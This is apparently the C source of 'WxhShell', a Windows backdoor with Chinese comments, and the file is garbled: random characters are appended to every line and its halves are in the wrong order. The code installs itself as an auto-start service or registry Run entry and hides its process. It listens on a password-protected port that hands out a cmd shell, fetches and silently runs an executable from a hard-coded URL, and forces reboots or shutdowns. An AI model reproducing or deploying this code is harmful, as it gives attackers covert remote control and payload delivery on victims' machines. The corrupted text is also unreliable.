    if(Boot(SHUTDOWN)) [?3*/*V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RZ)sCR  
    else { 3L/qU^`  
    closesocket(wsh); /CpUq;^  
    ExitThread(0); "8K>Yu17  
    } VM{`CJ2  
    break; vQrce&  
    } 1xK'1g72  
  // 获取shell F-}-/N]o q  
  case 's': { .0]4@'  
    CmdShell(wsh); f.V;Hl,  
    closesocket(wsh); v+-f pl&  
    ExitThread(0); ~82[pY  
    break; $iQ>c6  
  } >}QRMn|@H  
  // 退出 A.7:.5Cx'  
  case 'x': { <4jQbY;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); D|I(2%aC  
    CloseIt(wsh); 9fD4xkRS  
    break; cT{iMgdI?  
    } %VYQz)yW  
  // 离开 H e]1 <tx  
  case 'q': { Hv%(9)-8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J5LP#o(V  
    closesocket(wsh); H3{x; {.b  
    WSACleanup(); 7}bjJR "  
    exit(1); Myss$gt}  
    break; '|^LNAx  
        } zi:F/TlUC  
  } \3K6NA!L  
  } =/=x"q+X  
3ojK2F(1D  
  // 提示信息 Wu)ATs}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }@yvw*c  
} =fMSmn1S  
  } 9[DQ[bL  
5_Yv>tx  
  return; >_M}l @1  
} ezTu1-m  
H%7V)"  
// shell模块句柄 >`*iM  
int CmdShell(SOCKET sock) ))c;DJc  
{ O;[PEV ~  
STARTUPINFO si; sb4)@/Q7j  
ZeroMemory(&si,sizeof(si)); , >Y. !  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q?z6|]M|u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n ! qm  
PROCESS_INFORMATION ProcessInfo; }7hpx!s,  
char cmdline[]="cmd"; Ary$,3X2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d;S:<]l'  
  return 0; D{o1G?A  
} vVyO}Q`  
yWIieztp  
// 自身启动模式 wlqV1.K  
int StartFromService(void) E E?v~6"&  
{ y:4Sw#M%(  
typedef struct hx4!P(o1  
{ 7qE V5!  
  DWORD ExitStatus; >0 !J]gK  
  DWORD PebBaseAddress; s cR-|GuZ  
  DWORD AffinityMask; *B}vYX  
  DWORD BasePriority; S !c/"~X+  
  ULONG UniqueProcessId; ([|5(Omd\  
  ULONG InheritedFromUniqueProcessId; JoW*)3Z  
}   PROCESS_BASIC_INFORMATION; 'lC"wP&$  
x|0Q\<mEe  
PROCNTQSIP NtQueryInformationProcess; ;YZw{|gsh  
SNvK8,"g  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %>I!mD"X\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1\YX|  
b]RCe^E1  
  HANDLE             hProcess; \(T; @r  
  PROCESS_BASIC_INFORMATION pbi; /l(:H  
74gU 4T  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %h|z)  
  if(NULL == hInst ) return 0; Byldt  
6FEtq,;0w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DDAqgx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5mSXf"R^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1<\cMY6  
f~Kln^  
  if (!NtQueryInformationProcess) return 0; *\VQ%_wg  
!LIWoa[ F.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oPa2GW8  
  if(!hProcess) return 0; d1y(Jt  
g?=B{V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "Wi`S;  
K:'pK1zy  
  CloseHandle(hProcess); ,?&hqM\  
2#+@bk>^{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  )_j.0a  
if(hProcess==NULL) return 0; iZjvO`@[  
 o{-PT'  
HMODULE hMod; ZlO@PlZ)  
char procName[255]; I5x/N.  
unsigned long cbNeeded; 9,y&?GLP  
VKN^gz  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _|A)ueY  
uN$X3Ls_  
  CloseHandle(hProcess); m7M*)N8  
&q":o 'q  
if(strstr(procName,"services")) return 1; // 以服务启动 Mm6 (Q  
p~3CXmUc~  
  return 0; // 注册表启动 }WCz*v1Wq  
} PI{sO |  
-CL7^  
// 主模块 MH !CzV&  
int StartWxhshell(LPSTR lpCmdLine) &)bar.vw/  
{ zb;' }l;+  
  SOCKET wsl; qbP[  9  
BOOL val=TRUE; Qy6Avw/$  
  int port=0; .5 dZaI)  
  struct sockaddr_in door; >Mvt;'c  
! prU!5-  
  if(wscfg.ws_autoins) Install(); w:umr#  
Kjf#uU.7  
port=atoi(lpCmdLine); p O: EJ  
+i)1 jX<  
if(port<=0) port=wscfg.ws_port; B]Zsn`n  
t: [[5];E  
  WSADATA data; =r_ S MTu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :\bttPw5  
!4 hs9b  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (O<lVz@8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); BR0bf5T/  
  door.sin_family = AF_INET; \DQ;v  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &[Sw:{&*jv  
  door.sin_port = htons(port); SA/0Z=  
-_4! id  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \\/X+4|o'  
closesocket(wsl); .4^Paxz  
return 1; SU#|&_wtr!  
} UWusSi3+LG  
PkVXn  
  if(listen(wsl,2) == INVALID_SOCKET) { jWoo{+=D  
closesocket(wsl); yqBu7E$X  
return 1; *}v'y{;  
} de`6%%|  
  Wxhshell(wsl); ZO;]Zt]  
  WSACleanup(); v$mA7|(t!  
~cZ1=,P  
return 0; [ wu%t8O2  
FCP5EN  
} A{c6XQR~z  
|j!D _j#U  
// 以NT服务方式启动 3AB5Qs<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R1 wd Q8q  
{ -!}1{   
DWORD   status = 0; <y'ttxeS  
  DWORD   specificError = 0xfffffff; @+ 2Zt%  
V2y[IeSQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;{ezK8FJ}@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (*;u{m=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l%U9g  
  serviceStatus.dwWin32ExitCode     = 0; tou^p-)GQ|  
  serviceStatus.dwServiceSpecificExitCode = 0; \ agC Q&  
  serviceStatus.dwCheckPoint       = 0; B#gmT2L  
  serviceStatus.dwWaitHint       = 0; /J6CSk  
x``!t>)O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vIG,!^*3  
  if (hServiceStatusHandle==0) return; xz%ig^L  
y>#j4%D~4  
status = GetLastError(); awawq9)Y  
  if (status!=NO_ERROR) \vT8 )\  
{ nph{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lu{}j4  
    serviceStatus.dwCheckPoint       = 0; 3a5H<3w_  
    serviceStatus.dwWaitHint       = 0; givK{Yt<B  
    serviceStatus.dwWin32ExitCode     = status; 'Oc8[8   
    serviceStatus.dwServiceSpecificExitCode = specificError; K l4",  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dn5v|[dJ  
    return; Iq5F^rH`[  
  } U-k;kmaj  
|'J3"am'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; i3GvTg-X  
  serviceStatus.dwCheckPoint       = 0; ;'Y?wH[  
  serviceStatus.dwWaitHint       = 0; Ky'^AN]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L"Gi~:z  
} K4rr.f6  
t.zSJ|T_&O  
// 处理NT服务事件,比如:启动、停止 z6!X+`&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OYzJE@r^  
{ A1@-;/H3  
switch(fdwControl) -Rvxjy)[N  
{ .dfTv/n  
case SERVICE_CONTROL_STOP: 'L m `L<`  
  serviceStatus.dwWin32ExitCode = 0; @N(jd($E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >hhd9  
  serviceStatus.dwCheckPoint   = 0; L=p.@VSZ  
  serviceStatus.dwWaitHint     = 0; +-Dd*yD6<  
  { c`>\R<Z ]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xvkof 'Q)  
  } yO6i "3  
  return; Brl6r8LGi  
case SERVICE_CONTROL_PAUSE: 8fN0"pymo  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i~,k2*o  
  break; ^Y&Cm.w  
case SERVICE_CONTROL_CONTINUE: }J*&()`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *Z]| Z4Q/`  
  break; GWhZ Mj  
case SERVICE_CONTROL_INTERROGATE: i-<=nD&?t  
  break; A`r9"([-A  
}; Ao\Vh\rQkq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i`Yf|^;@2>  
} 9j 8t<5s  
OBl8kH(b>  
// 标准应用程序主函数 ZMe|fn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  -{wuF0f  
{ ~L1O\V i  
lVFX@I=pI  
// 获取操作系统版本 4A&e+kz&:R  
OsIsNt=GetOsVer(); {$t*Mb0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BuYDw*.  
W(8g3  
  // 从命令行安装 {aL$vgYT1  
  if(strpbrk(lpCmdLine,"iI")) Install(); =6dKC_Q  
W>~%6K>p  
  // 下载执行文件 @b/2'  
if(wscfg.ws_downexe) { 9JtvHUkO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V588Leb?  
  WinExec(wscfg.ws_filenam,SW_HIDE); So^`L s;S  
} L7g&]%  
vP4Ij  
if(!OsIsNt) { =, 0a3D6b  
// 如果时win9x,隐藏进程并且设置为注册表启动 10rGA=x'(  
HideProc(); Z:hrrq9  
StartWxhshell(lpCmdLine); C{Ug ?hVP  
} u s0'7|{q  
else {Y"r]:5i  
  if(StartFromService()) -FR;:  
  // 以服务方式启动 VB\6S G  
  StartServiceCtrlDispatcher(DispatchTable); 9c^EoYpy-  
else ;40m goN  
  // 普通方式启动 8_m9CQ6 i  
  StartWxhshell(lpCmdLine); tb{{oxa,k  
Fdw[CYHz  
return 0; GN9_ZlC  
} nnNg^<[k3  
w'0M>2   
0%F.]+6[O4  
\.a .'l  
=========================================== G7;}309s  
O-5U|wA  
h yKg=Foq  
QL2y,?Mz7  
?<?C*W_  
j*u9+.   
" 2S6EDXc  
ss{=::#  
#include <stdio.h> V^z;^mdd  
#include <string.h> Bqi2n'^O2  
#include <windows.h> *`-29eR"8  
#include <winsock2.h> .^S78hr]n  
#include <winsvc.h> F\R}no5C  
#include <urlmon.h> cOZ^huK  
uW~ ,H}E  
#pragma comment (lib, "Ws2_32.lib") ENWB|@B  
#pragma comment (lib, "urlmon.lib") 0,$-)SkT  
w LN2`ucC  
#define MAX_USER   100 // 最大客户端连接数 !K3cf]2UD  
#define BUF_SOCK   200 // sock buffer _L'cyH.cn  
#define KEY_BUFF   255 // 输入 buffer kr`BUW3  
*-AAQ  
#define REBOOT     0   // 重启 5%+bWI{w  
#define SHUTDOWN   1   // 关机 AV 5\W}  
Y+u-J4bj  
#define DEF_PORT   5000 // 监听端口 FgQ_a/*  
)g:,_1s)|  
#define REG_LEN     16   // 注册表键长度 iynS4]`U  
#define SVC_LEN     80   // NT服务名长度 t-m9n*\j1  
nuO3UD3  
// 从dll定义API ,Q=)$ `%  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "gvw0)  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Rs F3#H  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a5}44/%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CxA\yG3L&  
B.mbKntK)R  
// wxhshell配置信息 q= yZx)  
struct WSCFG { $JhZ'Z  
  int ws_port;         // 监听端口 .eabtGO,  
  char ws_passstr[REG_LEN]; // 口令 W-!Bl&jF[  
  int ws_autoins;       // 安装标记, 1=yes 0=no h lkvk]v  
  char ws_regname[REG_LEN]; // 注册表键名 [%84L@:h  
  char ws_svcname[REG_LEN]; // 服务名 Wz-3?EQ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,t%\0[{/B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9]L!.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 g| ._n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EID)o[<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5hJYy`h~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P~\a)Szy  
;c X^8;F0  
}; -4vHK!l  
Oj"pj:fB  
// default Wxhshell configuration 5X`w&(]m  
struct WSCFG wscfg={DEF_PORT, c}IX"  
    "xuhuanlingzhe", 5%QC ][,  
    1, qIDWl{b<  
    "Wxhshell", :kb1}Wu  
    "Wxhshell", sb}K%-  
            "WxhShell Service", (:?5 i`  
    "Wrsky Windows CmdShell Service", Z6IJo%s  
    "Please Input Your Password: ", :dY.D|j*  
  1, :F^$"~(,  
  "http://www.wrsky.com/wxhshell.exe", ~U"by_  
  "Wxhshell.exe" qe5tcv}u  
    }; U] V3DDN  
K0 O-WJ  
// 消息定义模块 ;wJ7oj<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5\akI\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {PODisl>\D  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1V|< A  
char *msg_ws_ext="\n\rExit."; vzY'+9q1.  
char *msg_ws_end="\n\rQuit."; q_<*esZ,  
char *msg_ws_boot="\n\rReboot..."; dGbU{#"3s  
char *msg_ws_poff="\n\rShutdown..."; @-wNrW$  
char *msg_ws_down="\n\rSave to "; UF&0 & `@  
.cg=  
char *msg_ws_err="\n\rErr!"; J3/\<=Qh  
char *msg_ws_ok="\n\rOK!"; !,cQ'*<W8-  
:y+B;qw  
char ExeFile[MAX_PATH]; ,|T*|2Gm  
int nUser = 0; n-b>m7O(  
HANDLE handles[MAX_USER]; N]1V1c$G*  
int OsIsNt; 9W{,=.%MX$  
= EQN-{#  
SERVICE_STATUS       serviceStatus; 5f;n<EP y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; { 1+Cw?1d  
Sm$p\ORa  
// 函数声明 <8u>_o6  
int Install(void); i{o#3  
int Uninstall(void); .:w#&yM [U  
int DownloadFile(char *sURL, SOCKET wsh); @v>l[6]>^  
int Boot(int flag); r_b8,I6{]  
void HideProc(void); 8)L'rW{q#  
int GetOsVer(void); @ SU8\:(U  
int Wxhshell(SOCKET wsl); F(#haJ$>  
void TalkWithClient(void *cs); B4`2.yRis  
int CmdShell(SOCKET sock); &MCy.(jN  
int StartFromService(void); iaY5JEV:CA  
int StartWxhshell(LPSTR lpCmdLine); -glugVq  
5\okU"{d7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {DU"]c/S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~mtTsZc  
YTQ5sFuGM  
// 数据结构和表定义 j]r XoV>  
SERVICE_TABLE_ENTRY DispatchTable[] = /+>)"D6'  
{ ZTN(irK  
{wscfg.ws_svcname, NTServiceMain}, ToV6lS"  
{NULL, NULL} 8EOh0gk7  
}; >9ob*6q,  
yH*hL0mO  
// 自我安装 ODm&&W#*  
int Install(void) %B@ !  
{ >^dyQyK  
  char svExeFile[MAX_PATH]; $0_^=D EW  
  HKEY key; KacR?Al  
  strcpy(svExeFile,ExeFile);  Do|]eD  
YQ; cJ$  
// 如果是win9x系统,修改注册表设为自启动 grr'd+_e  
if(!OsIsNt) { .Y;b)]@f  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1n_;kaY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AIb>pL{  
  RegCloseKey(key); tE@FvZC'=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l';pP^.q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <j;]!qFR  
  RegCloseKey(key); g+/0DO_F3  
  return 0; @<2d8ed  
    } .;9jdGBf  
  } S.{fDcM  
} k}GjD2m  
else { Y,C=@t@_  
Q $]YD pCM  
// 如果是NT以上系统,安装为系统服务 5y]io Jc9-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >-M ]:=L  
if (schSCManager!=0) #b'N}2'p#V  
{ 'TL2%T/)t  
  SC_HANDLE schService = CreateService jo}1u_OJ  
  ( ygN>"eP  
  schSCManager, L7]]ZAH!1  
  wscfg.ws_svcname, pE2QnNr'  
  wscfg.ws_svcdisp, D?^Y`G$.  
  SERVICE_ALL_ACCESS, ^-hErsK  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /prYSRn8  
  SERVICE_AUTO_START, OiF{3ae(  
  SERVICE_ERROR_NORMAL, \@K~L4>  
  svExeFile, eX"''PA  
  NULL, %t*  
  NULL, k^%2_H  
  NULL, /;Yy@oc  
  NULL, `N}d}O8   
  NULL S/.^7R7{f  
  ); oaK.kOo  
  if (schService!=0) JE hm1T  
  { OUI6 ax\[  
  CloseServiceHandle(schService); u`_*g^5q"  
  CloseServiceHandle(schSCManager); ='}#`',  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ]!Oue_-;  
  strcat(svExeFile,wscfg.ws_svcname); Lu=O+{*8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { je%ldY]/@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Lg4YED9#  
  RegCloseKey(key); +6l]]*H  
  return 0; px=]bALU  
    } s9O2k}]  
  } (u&`Ij9  
  CloseServiceHandle(schSCManager); [ ny6W9  
} KxIyc7.  
} _'!kuE,*1  
E"qFXA>  
return 1; /:Lu_)5   
} iidT~l  
\S ."?!U  
// 自我卸载 xq[Yg15d%  
int Uninstall(void) Xgat-cy'DA  
{ dU_;2#3m  
  HKEY key; c?E{fD"Fc3  
QA?oJ_}y  
if(!OsIsNt) { !l 6dg&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /Vww?9U;  
  RegDeleteValue(key,wscfg.ws_regname); TTZe$>f  
  RegCloseKey(key); z-r2!^q27  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |^a;77nE_^  
  RegDeleteValue(key,wscfg.ws_regname); poT&-Ic[  
  RegCloseKey(key); "& 25D  
  return 0; taWqSq!  
  } Y@uh[aS!  
} ~F!,PM/  
} K pHw-6"  
else { [XR$F@o  
fCw*$:O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j:,9%tg  
if (schSCManager!=0) h8{(KRa6  
{ {tiKH=&J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8sOQ9  
  if (schService!=0) nw6pV%  
  { 5(m(xo6  
  if(DeleteService(schService)!=0) { &,:h)  
  CloseServiceHandle(schService); b:W-l?  
  CloseServiceHandle(schSCManager); g)"gw+ZFc  
  return 0; 'b&yrBFD  
  } |nUl\WRd\  
  CloseServiceHandle(schService); ";SiL{Z  
  } P-`(0M7^  
  CloseServiceHandle(schSCManager); g}LAks  
} YJeyIYCs<  
} q5DEw&UZJ  
3FE(}G  
return 1; soRv1)el  
} yx38g ca  
6%G-Vs]*2  
// 从指定url下载文件 Mkxi~p%<r  
int DownloadFile(char *sURL, SOCKET wsh) zi@]83SS#  
{ cVnJ^*Z  
  HRESULT hr; /]^#b  
char seps[]= "/"; zP\7S}p7%  
char *token; !]yO^Ob.E  
char *file; w>; L{  
char myURL[MAX_PATH]; RE2&mYt  
char myFILE[MAX_PATH]; Yr.sm!xA  
"qz3u`[o  
strcpy(myURL,sURL); r!1D*v5&:  
  token=strtok(myURL,seps); I#F!N6;  
  while(token!=NULL) w8S!%abl1  
  { k <iTjI*N  
    file=token; n{*D_kM(H  
  token=strtok(NULL,seps); "*1 f;+\  
  } fxaJZz$o  
-VKS~{  
GetCurrentDirectory(MAX_PATH,myFILE); '7^M{y/dU  
strcat(myFILE, "\\"); t_^X$pL  
strcat(myFILE, file); Fb22p6r  
  send(wsh,myFILE,strlen(myFILE),0); Hmt^h(*/2  
send(wsh,"...",3,0); `{k"8#4:qA  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); GPz(j'jU  
  if(hr==S_OK) c/N@zum,{  
return 0; 9I27TKy  
else sV"UI  
return 1; ^D eERB  
]V l]XT$Um  
} C?v[Z]t  
 xw^R@H  
// 系统电源模块 zi R5:d3   
int Boot(int flag) #6Fez`A  
{ 'm1N/)F  
  HANDLE hToken; B~]5$-  
  TOKEN_PRIVILEGES tkp; kft #R#m  
>(uZtYM\j  
  if(OsIsNt) { 9{k97D/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^k5ll=}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )'17r82a  
    tkp.PrivilegeCount = 1; x-OA([;/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f=C,e/sw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); eAv4FA4g  
if(flag==REBOOT) { wO ?+Nh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U*Ge<(v$  
  return 0; Y}#h5\  
} dm0QcW4  
else { 7S/G B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HEA#bd\  
  return 0; ,@1p$n  
} A+6 n#  
  } \drqG&wl  
  else { qmO6,T-|  
if(flag==REBOOT) { "k]CW\H6z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l^ZI* z7N  
  return 0; /VmR<C?h  
} zi`b2h  
else { 2gO2jJlv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L}@c6fHG  
  return 0; lY|Jr{+Ln  
} U2uF&6v  
} 9Gv[ 8'I  
'YNT8w/3  
return 1; ^Wxad?@  
} -@T/b$]'n  
=t6z \WB  
// win9x进程隐藏模块 G}&Sle]  
void HideProc(void) $)3%U?AP  
{ 2M# r]  
3nZo{p:E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ,%\o4Rc'o  
  if ( hKernel != NULL ) Fx-8M!  
  { :_!8 WB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N<QXmgqx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c478P=g=5  
    FreeLibrary(hKernel); [9 Ss# ~  
  } yAoe51h?  
0eK*9S]  
return; ]\7]%(  
} {)-aSywe  
Yb E-6|cz  
// 获取操作系统版本 0:+WO%z  
int GetOsVer(void) fl\ly `_  
{ #-bA[eQV  
  OSVERSIONINFO winfo; =5\|[NSK-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); je!-J8{  
  GetVersionEx(&winfo); 8 XU1 /i7N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]MxC_V+P`  
  return 1; {7)st W  
  else ub|V\M{  
  return 0; Yl3n2R /U  
} aoXb22]{  
zzxGAVu  
// 客户端句柄模块 ,lyb!k8  
int Wxhshell(SOCKET wsl) }`@728E  
{ ]w.;4`l*  
  SOCKET wsh; VY3&  
  struct sockaddr_in client; wu)w   
  DWORD myID; ~J P=T  
1R,:  
  while(nUser<MAX_USER) |9B.mBoX  
{ /Z$&pqs!  
  int nSize=sizeof(client); >/8yGBD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *NG+L)g  
  if(wsh==INVALID_SOCKET) return 1; ll C#1  
Vv ?-"\Z>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ry'= ke  
if(handles[nUser]==0) V>b\[(=s  
  closesocket(wsh); /AW=5Ck-#  
else l?Ya"C`FL  
  nUser++; BW "5Aj  
  } C_7+a@?B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6b:tyQ  
7Zh~lM  
  return 0; |>#{[wko  
} O<,\^[x  
k3uit+ge }  
// 关闭 socket LbkF   
void CloseIt(SOCKET wsh) |6$p;Aar  
{ & 9<+;*/  
closesocket(wsh); w'm;82V:P-  
nUser--; s{$(*_  
ExitThread(0); D ^x-^6^  
}  w/kt3Lw  
*" {lMZ +  
// 客户端请求句柄 WS`qVL]^&  
void TalkWithClient(void *cs) 2n|K5FR()  
{ !Ze5)g%H  
x= 5N3[5  
  SOCKET wsh=(SOCKET)cs; wbst8 *$  
  char pwd[SVC_LEN]; k<" oiCE  
  char cmd[KEY_BUFF]; aP/T<QZ~  
char chr[1]; Gy6l<:;  
int i,j; ]4pkcV P  
nYX@J6!  
  while (nUser < MAX_USER) { Ipf =ZD  
eY|  
if(wscfg.ws_passstr) { P3=W|81e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7BJzM lJ1Y  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QC9eUYe  
  //ZeroMemory(pwd,KEY_BUFF); fP(d8xTx2y  
      i=0; m+Rv+_R  
  while(i<SVC_LEN) { FN8NTBk  
v uoQz\  
  // 设置超时 E/%9jDTQ  
  fd_set FdRead; ])nPPf  
  struct timeval TimeOut; 6 BCf:mqP  
  FD_ZERO(&FdRead); )s%[T-uKi  
  FD_SET(wsh,&FdRead); l\@)y4 +  
  TimeOut.tv_sec=8; iT%} $Lu~  
  TimeOut.tv_usec=0; yc?a=6q'm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l p(8E6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); PEc=\?  
~x ]jB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mD^ jd+  
  pwd=chr[0]; G1o3l~x  
  if(chr[0]==0xd || chr[0]==0xa) {  [D<1 CF  
  pwd=0; R wZ]),o  
  break; .%L?J E  
  } vy\RcP  
  i++; .8by"?**  
    } *tK\R&4,4s  
5) pj]S!]-  
  // 如果是非法用户,关闭 socket _t^{a]/H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j4cwI90=  
} rV T{90,  
!Ikt '5/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]%IT|/;9Y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -i%e!DgH  
_N{RVeO  
while(1) { @n{JM7ctJ  
[E/\#4b  
  ZeroMemory(cmd,KEY_BUFF); V;,{}  
qLB) XnQ  
      // 自动支持客户端 telnet标准   =*r]) Vg^  
  j=0; CnG+Mc^  
  while(j<KEY_BUFF) { j,"@?Wt7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =5(>q5Z*  
  cmd[j]=chr[0]; V0P>YQq9s  
  if(chr[0]==0xa || chr[0]==0xd) { 0 g?z&?  
  cmd[j]=0; '|Kmq5)  
  break; .O0 +H+  
  } pQtJc*[!  
  j++; wfq7ob4^  
    } /#m=*&!CB  
R]RZq+2 ^  
  // 下载文件 3%(N[&LU  
  if(strstr(cmd,"http://")) { 8[E!E)4M  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {l/-LZ.  
  if(DownloadFile(cmd,wsh)) ]]oI#*c  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f]\CD<g3|E  
  else 2C9V|[U,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); br":y>=,  
  } 9 mmCp&~Z  
  else { ,I%g|'2  
+i@y@<l:+  
